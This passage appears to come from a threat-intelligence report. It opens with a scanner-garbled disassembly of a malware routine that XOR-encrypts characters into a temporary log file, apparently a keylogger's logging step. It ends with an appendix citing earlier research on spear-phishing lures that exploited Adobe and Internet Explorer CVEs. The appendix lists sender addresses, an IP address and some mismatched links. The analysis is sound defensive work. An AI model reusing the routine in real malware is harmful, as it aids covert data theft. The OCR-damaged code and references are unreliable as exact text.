ecx ; ed® - ramainder
eax, hFile ; handle to log-file {<random>.tmp)
1 ; uBytes
dl, bl ; Xor with pseudorandom key

[esp+18h+Buffer], dl
edx, [esp+18h+Buffer]

edx ; 1pBuffer

eax ; hFile

ebp ; _lurite ; write encrypted char to the file

esi, edi
short encrypt
ebp

ebx

; CODE XREF: write_encrypted_data+1BTj

write_encrypted_data endp
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Appendix E. Parallel and Previous Research

Getting “Left of Boom”: How ThreatConnect Enables Proactive Cybersecurity,
ThreatConnect February 2014
http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-en-
ables-proactive-cybersecurity/

Nevermind Nenim’s hidden agenda - we still caught it, Microsoft MMPC, April 2013
http://blogs.technet.com/b/mmpc/archive/2013/04 /14 /nevermind-nenim-s-
hidden-agenda-we-still-caught-it.aspx

RSA-512 Certificates abused in the wild, Fox-IT November 2011
http://blog.fox-it.com/2011 /11 /21 /rsa-512-certificates-abused-in-the-wild/

Dec 21 CVE-2009-0556 (corrected CVE) Christmas Messages.pps with stolen cert
from Syniverse from nicholas.bennett53@hotmail.com, Contagio, December 2010
http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html

“CVE-2010-2883 Adobe 0-Day David Leadbetter's One Point Lesson from
193.106.85.61 thomasbennett34@yahoo.com”, Contagio, Sept 2010
http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.
html

Apr 26 CVE-2010-0188 PDF North Korea Policy Piece from (fake) walterkeats@
yahoo.com, Contagio, April 2010
http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-
lesson.html

Mar 27 CVE-2010-0806 IE 0-day Dozens missing after ship sinks near North
Korea from kevin.bohn33@hotmail.com, Contagio March 2010
http://contagiodump.blogspot.com/2010/04 /apr-28-cve-2010-0188-pdf-
north-korea.html

Threat Outbreak Alert: Fake North Korean Sunken Ship Report E-mail Messages
on March 27, 2010, Cisco
http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alert
1d=20148

Security Advisory for Adobe Reader and Acrobat, Adobe, cve-2010-2883
http://www.adobe.com/support/security/advisories/apsal0-02.
htmI|?PID=6157500
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